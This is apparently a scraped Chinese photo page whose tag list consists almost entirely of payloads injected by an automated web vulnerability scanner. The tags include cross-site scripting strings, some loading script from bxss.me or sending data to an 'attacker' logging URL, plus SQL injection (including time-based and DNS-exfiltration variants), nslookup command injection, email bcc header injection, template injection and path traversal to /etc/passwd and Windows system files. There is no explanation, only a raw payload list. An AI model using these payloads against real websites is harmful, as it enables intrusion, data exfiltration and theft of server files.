×
照片标签：
- 1
- e
- 1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source)
- s.src=(/
- /+/bxss.me\/s?u=014892&r=9-27955&h=9-34f0b-2&/).slice(2)
- document.documentElement.appendChild(s))//'>
- response.write(9153683*9303876)
- set|set&set
- '+response.write(9153683*9303876)+'
- "+response.write(9153683*9303876)+"
- $(nslookup dns.ce.\014892.9-27959.9.34f0b.\1.bxss.me)
- &nslookup dns.ce.\014892.9-27961.9.34f0b.\1.bxss.me&'\"`0&nslookup dns.ce.\014892.9-27961.9.34f0b.\1.bxss.me&`'
- 9myi5B2q
- 1 bcc:014892.9-27967.9.34f0b.1@bxss.me
- to@example.com> bcc:014892.9-27968.9.34f0b.1@bxss.me
- ${10000214+9999694}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- NkRdJmh5
- 1some_inexistent_file_with_long_name .jpg
- -1 OR 2+18-18-1=0+0+0+1 --
- http://testasp.vulnweb.com/t/fit.txt?.jpg
- -1 OR 2+77-77-1=0+0+0+1
- testasp.vulnweb.com
- -1' OR 2+324-324-1=0+0+0+1 --
- -1' OR 2+159-159-1=0+0+0+1 or 'VTRXR3ga'='
- -1" OR 2+683-683-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(3)
- 0)/*'XOR(if(now()=sysdate()
- 0))OR'"XOR(if(now()=sysdate()
- 0))OR"*/
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
- -1
- -1)
- ../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../../proc/version
- 1 waitfor delay '0:0:6' --
- Qe07Jxdi'
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- -1))
- ../../../../../../../../../../etc/passwd .jpg
- xxU08cqi'
- 0Nc0epz6')
- /../..//../..//../..//../..//../..//etc/passwd .jpg
- 5Sh5BUL7'))
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- )
- '||(select 1 from (select pg_sleep(9))x)||'
- !(()&&!|*|*|
- /etc/passwd
- ''||(select 1 from (select pg_sleep(3))x)||''
- ^(#$!@#$)(()))******
- 1&n982098=v901419
- 1||UTL_INADDR.get_host_address('dns.'||'sqli.014892.9-27973.9.34f0b.1.bxss'||'.me')
- %2fetc%2fpasswd
- '"()
- '||UTL_INADDR.get_host_address('dns.'||'sqli.014892.9-27974.9.34f0b.1.bxss'||'.me')||'
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- 1'
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- 883'
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- '
- WEB-INF/web.xml
- "
- /WEB-INF/web.xml
- ${@print(md5(acunetix_wvs_security_test))}
- ${@print(md5(acunetix_wvs_security_test))}\
- WEB-INF\web.xml
- ../../../../../../../../../../windows/win.ini
- C:\WINDOWS\system32\drivers\etc\hosts
- http://testasp.vulnweb.com/t/xss.html?%00.jpg
- ../../../../../../../../../../windows/win.ini .jpg
- http://hitEQr3VCGHlq.bxss.me/
- ................windowswin.ini
- bibs
- ..\..\..\..\..\..\..\..\windows\win.ini
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /www.vulnweb.com
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- bibs/.
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- '"
- 1'"
- <!--
- \
- @@gznwX
- JyI=
- 1'"()&%<acx><ScRiPt >HRyQ(9577)</ScRiPt>
- '"()&%<acx><ScRiPt >HRyQ(9665)</ScRiPt>
- 19463321
- acu9841＜s1﹥s2ʺs3ʹuca9841
- {{10000028*10000160}}
- acu6532＜s1﹥s2ʺs3ʹuca6532
- {{9999322*10000074}}
- acu10495＜s1﹥s2ʺs3ʹuca10495
- {{9999809*9999729}}
- 1"onmouseover=HRyQ(9005)"
- 1" VK1n=HRyQ([!+!]) 8p2="
- 1\u0022onmouseover=HRyQ(9684)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%48%52%79%51%28%39%37%33%30%29%22
- 1"sTYLe='acu:Expre/**/SSion(HRyQ(9784))'bad="
- 1"><script>HRyQ(9532)</script>
- 1"onmouseover=HRyQ(9029)"
- 1" npVL=HRyQ([!+!]) CSR="
- 1\u0022onmouseover=HRyQ(9343)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%48%52%79%51%28%39%37%35%30%29%22
- 1"sTYLe='acu:Expre/**/SSion(HRyQ(9622))'bad="
- 1"><script>HRyQ(9748)</script>
- 1<ScRiPt >HRyQ(9056)</ScRiPt>
- 1<WWJGXF>EFQQR[!+!]</WWJGXF>
- 1<script>HRyQ(9580)</script>
- 1<ScR<ScRiPt>IpT>HRyQ(9022)</sCr<ScRiPt>IpT>
- 1<ScRiPt >HRyQ(9766)</ScRiPt>
- 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9432></ScRiPt>
- 1< ScRiPt >HRyQ(9213)</ScRiPt>
- 1<video><source onerror="javascript:HRyQ(9835)">
- 1<isindex type=image src=1 onerror=HRyQ(9780)>
- 1<iframe src='data:text/html
- 1<body onload=HRyQ(9088)>
- 1<img src=//testasp.vulnweb.com/t/dot.gif onload=HRyQ(9261)>
- 1<img src=xyz OnErRor=HRyQ(9318)>
- 1<img/src=">" onerror=alert(9359)>
- %31%3C%53%63%52%69%50%74%20%3E%48%52%79%51%289827%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\HRyQ(9967)\u003C/sCripT\u003E
- 1<
- 1<input autofocus onfocus=HRyQ(9715)>
- <a HrEF=http://www.vulnweb.com></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://www.vulnweb.com][/url]
- 1<img<!-- --> src=x onerror=alert(9952)
- 1}body{acu:Expre/**/SSion(HRyQ(9342))}
- 1<% contenteditable onresize=HRyQ(9115)>
- 1phen5 <ScRiPt >HRyQ(9158)</ScRiPt>
- 1<WU1A3X>POZ07[!+!]</WU1A3X>
- 1<ifRAme sRc=9364.com></IfRamE>
- 1<ET2rlz x=9662>
- 1<img sRc='http://attacker-9831/log.php?
- 1<nPZNRB<
- response.write(9061862*9512577)
- '+response.write(9061862*9512577)+'
- e</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source)
- /+/bxss.me\/s?u=014892&r=9-36880&h=9-b781b-2&/).slice(2)
- "+response.write(9061862*9512577)+"
- &nslookup dns.ce.\014892.9-36884.9.b781b.\1.bxss.me&'\"`0&nslookup dns.ce.\014892.9-36884.9.b781b.\1.bxss.me&`'
- e'>"><script src=http://bxss.me/s?u=014892&r=9-36883&h=9-b781b-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss
- 014892
- 9-36883
- 9
- b781b
- %22%5D"/>
- e bcc:014892.9-36893.9.b781b.1@bxss.me
- to@example.com> bcc:014892.9-36896.9.b781b.1@bxss.me
- ${10000333+10000223}
- Http://testasp.vulnweb.com/t/fit.txt
- zPZztne0
- -1 OR 2+771-771-1=0+0+0+1 --
- e&n975848=v933976
- -1 OR 2+936-936-1=0+0+0+1
- -1' OR 2+272-272-1=0+0+0+1 --
- -1' OR 2+492-492-1=0+0+0+1 or 'IbAQmbQ1'='
- -1" OR 2+481-481-1=0+0+0+1 --
- sleep(9)
- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
- 1 waitfor delay '0:0:9' --
- FdtnFbCG'
- irRDSbNY'
- X1YfJUeP')
- LwFQ8lib'))
- '||(select 1 from (select pg_sleep(3))x)||'
- '||UTL_INADDR.get_host_address('dns.'||'sqli.014892.9-36905.9.b781b.1.bxss'||'.me')||'
- e'
- http://hitWGfQv93mRw.bxss.me/
- 705'
- @@YdWhb
- e'"()&%<acx><ScRiPt >W53w(9872)</ScRiPt>
- '"()&%<acx><ScRiPt >W53w(9226)</ScRiPt>
- e9976128
- acu2312＜s1﹥s2ʺs3ʹuca2312
- {{9999976*9999659}}
- acu5807＜s1﹥s2ʺs3ʹuca5807
- {{10000283*9999036}}
- acu2204＜s1﹥s2ʺs3ʹuca2204
- {{9999187*10000441}}
- e"onmouseover=W53w(9780)"
- e" 5eZ8=W53w([!+!]) wjF="
- e\u0022onmouseover=W53w(9695)\u0022
- %65%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%57%35%33%77%28%39%38%33%31%29%22
- e"sTYLe='acu:Expre/**/SSion(W53w(9267))'bad="
- e"><script>W53w(9254)</script>
- e"onmouseover=W53w(9544)"
- e" QHDg=W53w([!+!]) jQW="
- e\u0022onmouseover=W53w(9817)\u0022
- %65%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%57%35%33%77%28%39%33%38%36%29%22
- e"sTYLe='acu:Expre/**/SSion(W53w(9442))'bad="
- e"><script>W53w(9246)</script>
- e<ScRiPt >W53w(9077)</ScRiPt>
- e<WO3Q0H>ZJLPA[!+!]</WO3Q0H>
- e<script>W53w(9248)</script>
- e<ScR<ScRiPt>IpT>W53w(9634)</sCr<ScRiPt>IpT>
- e<ScRiPt >W53w(9310)</ScRiPt>
- e<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9488></ScRiPt>
- e< ScRiPt >W53w(9362)</ScRiPt>
- e<video><source onerror="javascript:W53w(9817)">
- e<isindex type=image src=1 onerror=W53w(9439)>
- e<iframe src='data:text/html
- e<body onload=W53w(9538)>
- e<img src=//testasp.vulnweb.com/t/dot.gif onload=W53w(9287)>
- e<img src=xyz OnErRor=W53w(9942)>
- e<img/src=">" onerror=alert(9064)>
- %65%3C%53%63%52%69%50%74%20%3E%57%35%33%77%289083%29%3C%2F%73%43%72%69%70%54%3E
- e\u003CScRiPt\W53w(9416)\u003C/sCripT\u003E
- e<
- e<input autofocus onfocus=W53w(9121)>
- e<img<!-- --> src=x onerror=alert(9875)
- e}body{acu:Expre/**/SSion(W53w(9990))}
- e<% contenteditable onresize=W53w(9765)>
- eNXqPq <ScRiPt >W53w(9994)</ScRiPt>
- e<W6LACF>BLGWJ[!+!]</W6LACF>
- e<ifRAme sRc=9774.com></IfRamE>
- e<ihtcnW x=9159>
- e<img sRc='http://attacker-9885/log.php?
- e<6pn7Dk<
微信扫一扫, 保存到手机
